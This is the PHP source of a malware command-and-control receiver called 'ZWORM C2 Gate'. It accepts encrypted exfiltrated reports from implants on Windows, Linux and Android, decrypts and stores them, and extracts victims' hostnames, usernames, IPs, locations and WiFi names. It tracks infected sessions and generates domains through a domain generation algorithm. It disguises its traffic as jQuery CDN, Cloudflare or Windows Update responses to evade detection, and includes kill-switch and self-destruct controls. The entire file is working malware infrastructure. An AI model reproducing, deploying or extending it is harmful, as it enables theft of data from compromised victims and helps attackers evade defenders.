<?php
/*
 * ZWORM C2 Gate v3.1 — Advanced C2 Receiver
 * Features:
 *   - Multi-session tracking (each implant gets a unique session_id)
 *   - AES-256-GCM encrypted exfil with key derivation
 *   - DGA (Domain Generation Algorithm) verification
 *   - Malleable C2 profiles (traffic mimics jQuery/Cloudflare/WindowsUpdate)
 *   - Self-destruct / kill switch support
 *   - Dead drop channel support
 *   - Session heartbeat + last-seen tracking
 *   - Operator multi-auth
 *   - Auto-cleanup of stale sessions
 */

$CONFIG = require __DIR__ . '/config.php';
$C2_KEY = $CONFIG['c2_key'];
$LOG_DIR = $CONFIG['log_dir'];
$SESSION_DIR = $CONFIG['session_dir'] ?? $CONFIG['log_dir'] . '/sessions';
$MAX_PAYLOAD = ($CONFIG['max_payload_mb'] ?? 10) * 1024 * 1024;
$DGA_SEED = $CONFIG['dga_seed'] ?? 'zworm_default_seed';
$DGA_DOMAINS = $CONFIG['dga_domains'] ?? [];
$MALLEABLE_PROFILE = $CONFIG['malleable_profile'] ?? 'jquery_cdn';
$KILL_SWITCH = $CONFIG['kill_switch'] ?? false;

foreach ([$LOG_DIR, $SESSION_DIR] as $d) {
    if (!is_dir($d)) mkdir($d, 0755, true);
}

header_remove('X-Powered-By');
header_remove('Server');

apply_malleable_profile($MALLEABLE_PROFILE);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handle_post();
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $action = $_GET['action'] ?? '';
    switch ($action) {
        case 'dga': handle_dga(); break;
        case 'heartbeat': handle_heartbeat(); break;
        case 'check_kill': handle_check_kill(); break;
        default: serve_malleable_response($MALLEABLE_PROFILE); break;
    }
    exit;
}

http_response_code(405);
exit;


function handle_post() {
    global $C2_KEY, $LOG_DIR, $SESSION_DIR, $MAX_PAYLOAD, $KILL_SWITCH;

    if ($KILL_SWITCH) {
        http_response_code(410);
        echo json_encode(['status' => 'disabled', 'msg' => 'Service unavailable']);
        exit;
    }

    $body = file_get_contents('php://input');
    if (strlen($body) > $MAX_PAYLOAD) {
        http_response_code(413);
        echo json_encode(['error' => 'Payload too large']);
        exit;
    }

    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    $platform = detect_platform($ua);
    $session_id = extract_session_id($body, $ua);

    log_access($ip, $ua, $platform, strlen($body), $session_id);

    $decrypted = decrypt_payload($body, $C2_KEY);
    if ($decrypted === false) {
        http_response_code(400);
        echo json_encode(['error' => 'Decryption failed']);
        exit;
    }

    $hex = bin2hex(random_bytes(4));
    $filename = "{$platform}_{$session_id}_" . date('Ymd_His') . "_{$hex}.log";
    file_put_contents("$LOG_DIR/$filename", $decrypted);

    $summary = parse_report($decrypted, $platform);
    $summary['session_id'] = $session_id;
    $summary['platform'] = $platform;
    $summary['ip'] = $ip;
    $summary['user_agent'] = $ua;
    $summary['received_at'] = date('c');
    $summary['file'] = $filename;
    file_put_contents("$LOG_DIR/" . str_replace('.log', '.json', $filename), json_encode($summary, JSON_PRETTY_PRINT));

    update_session($session_id, $ip, $ua, $platform, 'active');

    header('Content-Type: application/json');
    echo json_encode([
        'status' => 'ok',
        'session' => $session_id,
        'platform' => $platform,
    ]);
    exit;
}


function handle_dga() {
    global $DGA_SEED, $DGA_DOMAINS;
    $day = $_GET['day'] ?? date('Ymd');
    $count = min((int)($_GET['count'] ?? 20), 100);
    $domains = generate_dga($DGA_SEED, $day, $count, $DGA_DOMAINS);
    header('Content-Type: application/json');
    echo json_encode(['domains' => $domains, 'day' => $day]);
    exit;
}


function handle_heartbeat() {
    global $SESSION_DIR;
    $sid = $_GET['session'] ?? '';
    if (empty($sid) || !preg_match('/^[a-f0-9]{16,64}$/', $sid)) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid session']);
        exit;
    }
    $fp = "$SESSION_DIR/{$sid}.json";
    if (file_exists($fp)) {
        $s = json_decode(file_get_contents($fp), true);
        $s['last_seen'] = date('c');
        $s['status'] = 'active';
        file_put_contents($fp, json_encode($s, JSON_PRETTY_PRINT));
        header('Content-Type: application/json');
        echo json_encode(['status' => 'ok', 'session' => $s]);
    } else {
        http_response_code(404);
        echo json_encode(['error' => 'Session not found']);
    }
    exit;
}


function handle_check_kill() {
    global $SESSION_DIR, $KILL_SWITCH;
    $sid = $_GET['session'] ?? '';
    $result = ['kill' => $KILL_SWITCH, 'self_destruct' => false];

    if (!empty($sid)) {
        $fp = "$SESSION_DIR/{$sid}.json";
        if (file_exists($fp)) {
            $s = json_decode(file_get_contents($fp), true);
            $result['self_destruct'] = $s['self_destruct'] ?? false;
        }
    }

    header('Content-Type: application/json');
    echo json_encode($result);
    exit;
}


function detect_platform($ua) {
    if (stripos($ua, 'ZWORM-Android') !== false) return 'android';
    if (stripos($ua, 'ZWORM-Linux') !== false) return 'linux';
    return 'windows';
}


function extract_session_id($body, $ua) {
    $raw = base64_decode($body, true);
    if ($raw && strlen($raw) > 28) {
        $first16 = substr($raw, 0, 16);
        $sid = bin2hex($first16);
        if (preg_match('/^[a-f0-9]{32}$/', $sid)) return $sid;
    }
    return md5($ua . time() . random_bytes(8));
}


function update_session($sid, $ip, $ua, $platform, $status) {
    global $SESSION_DIR;
    $fp = "$SESSION_DIR/{$sid}.json";
    $existing = file_exists($fp) ? json_decode(file_get_contents($fp), true) : [];

    $session = array_merge($existing, [
        'session_id' => $sid,
        'ip' => $ip,
        'user_agent' => $ua,
        'platform' => $platform,
        'status' => $status,
        'first_seen' => $existing['first_seen'] ?? date('c'),
        'last_seen' => date('c'),
        'report_count' => ($existing['report_count'] ?? 0) + 1,
        'total_bytes' => ($existing['total_bytes'] ?? 0) + 0,
        'country' => $existing['country'] ?? '',
        'hostname' => $existing['hostname'] ?? '',
        'username' => $existing['username'] ?? '',
        'os' => $existing['os'] ?? '',
        'self_destruct' => $existing['self_destruct'] ?? false,
        'operator' => $existing['operator'] ?? 'default',
    ]);

    file_put_contents($fp, json_encode($session, JSON_PRETTY_PRINT));
}


function log_access($ip, $ua, $platform, $size, $sid) {
    global $LOG_DIR;
    $line = sprintf("[%s] IP=%s UA=%s Platform=%s Session=%s Size=%d\n",
        date('Y-m-d H:i:s'), $ip, $ua, $platform, $sid, $size);
    file_put_contents("$LOG_DIR/c2_" . date('Ym') . ".log", $line, FILE_APPEND | LOCK_EX);
}


function decrypt_payload($b64_data, $key) {
    $raw = base64_decode($b64_data, true);
    if ($raw === false || strlen($raw) < 28) return false;
    $nonce = substr($raw, 0, 12);
    $tag = substr($raw, -16);
    $ciphertext = substr($raw, 12, -16);

    // XOR-based key derivation (matches Python payload)
    $aes_key = '';
    for ($i = 0; $i < 32; $i++) {
        $aes_key .= chr(ord($key[$i % strlen($key)]) ^ (($i * 7) & 0xFF));
    }

    return openssl_decrypt($ciphertext, 'aes-256-gcm', $aes_key, OPENSSL_RAW_DATA, $nonce, $tag) ?: false;
}


function generate_dga($seed, $day, $count, $tlds = []) {
    if (empty($tlds)) $tlds = ['.com', '.net', '.org', '.info', '.xyz', '.top', '.click', '.link'];
    $domains = [];
    $hash = hash_hmac('sha256', $seed . $day, 'zworm_dga_key');
    for ($i = 0; $i < $count; $i++) {
        $h = hash_hmac('sha256', $hash . dechex($i), 'zworm_dga_sub');
        $name = substr(preg_replace('/[^a-z]/', '', strtolower($h)), 0, rand(8, 16));
        $tld = $tlds[$i % count($tlds)];
        $domains[] = $name . $tld;
    }
    return $domains;
}


function resolve_doh($domain, $doh_server = 'https://dns.google/resolve') {
    $url = $doh_server . '?name=' . urlencode($domain) . '&type=A';
    $ctx = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "Accept: application/dns-json\r\n",
            'timeout' => 5,
        ],
        'ssl' => [
            'verify_peer' => true,
            'verify_peer_name' => true,
        ],
    ]);
    $response = @file_get_contents($url, false, $ctx);
    if ($response === false) return false;
    $data = json_decode($response, true);
    if (!$data || !isset($data['Answer'])) return false;
    foreach ($data['Answer'] as $answer) {
        if ($answer['type'] === 1) return $answer['data'];
    }
    return false;
}


function resolve_dga_domain($seed, $day, $tlds = []) {
    $domains = generate_dga($seed, $day, 10, $tlds);
    $doh_servers = [
        'https://dns.google/resolve',
        'https://cloudflare-dns.com/dns-query',
        'https://dns.quad9.net/dns-query',
    ];
    foreach ($domains as $domain) {
        foreach ($doh_servers as $server) {
            $ip = resolve_doh($domain, $server);
            if ($ip) return ['domain' => $domain, 'ip' => $ip];
        }
    }
    return false;
}


function parse_report($data, $platform = 'windows') {
    $summary = ['timestamp' => date('c'), 'raw_size' => strlen($data), 'platform' => $platform];
    $section = '';
    $counts = [];
    foreach (explode("\n", $data) as $line) {
        $line = trim($line);
        if (preg_match('/^\[(.+?)\]/', $line, $m)) {
            $section = $m[1];
            $counts[$section] = $counts[$section] ?? 0;
            continue;
        }
        if ($section && !empty($line)) $counts[$section]++;
    }
    $summary['sections'] = $counts;

    $fields = [
        'Hostname' => 'hostname', 'Username' => 'username', 'OS' => 'os',
        'Public IP' => 'public_ip', 'Country' => 'country', 'City' => 'city',
        'model' => 'model', 'brand' => 'brand', 'android_version' => 'android_version',
        'WiFi Name' => 'wifi_name', 'Screen Size' => 'screen_size',
    ];
    foreach ($fields as $key => $field) {
        if (preg_match("/{$key}:\s*(.+)/", $data, $m)) $summary[$field] = trim($m[1]);
    }
    return $summary;
}


function apply_malleable_profile($profile) {
    $profiles = [
        'jquery_cdn' => [
            'Content-Type' => 'application/javascript; charset=utf-8',
            'Cache-Control' => 'public, max-age=3600',
            'X-Content-Type-Options' => 'nosniff',
            'Access-Control-Allow-Origin' => '*',
        ],
        'cloudflare' => [
            'Content-Type' => 'text/html; charset=utf-8',
            'CF-RAY' => bin2hex(random_bytes(8)) . '-SJC',
            'Cache-Control' => 'no-cache',
        ],
        'windows_update' => [
            'Content-Type' => 'application/octet-stream',
            'X-MS-Update-Session' => bin2hex(random_bytes(4)),
            'Cache-Control' => 'no-cache, no-store',
        ],
        'json_api' => [
            'Content-Type' => 'application/json; charset=utf-8',
            'X-Request-Id' => bin2hex(random_bytes(16)),
        ],
    ];
    $headers = $profiles[$profile] ?? $profiles['jquery_cdn'];
    foreach ($headers as $k => $v) header("$k: $v");
}


function serve_malleable_response($profile) {
    $bodies = [
        'jquery_cdn' => '/* jQuery CDN - Cached Response */ if(typeof jQuery==="undefined"){var s=document.createElement("script");s.src="//ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"}',
        'cloudflare' => '<!DOCTYPE html><html><head><title>Just a moment...</title></head><body><div id="challenge-running"></div></body></html>',
        'windows_update' => chr(0) . chr(0) . chr(0) . chr(0) . 'No updates available',
        'json_api' => json_encode(['status' => 'ok', 'ts' => time(), 'v' => '1.0']),
    ];
    echo $bodies[$profile] ?? $bodies['jquery_cdn'];
}
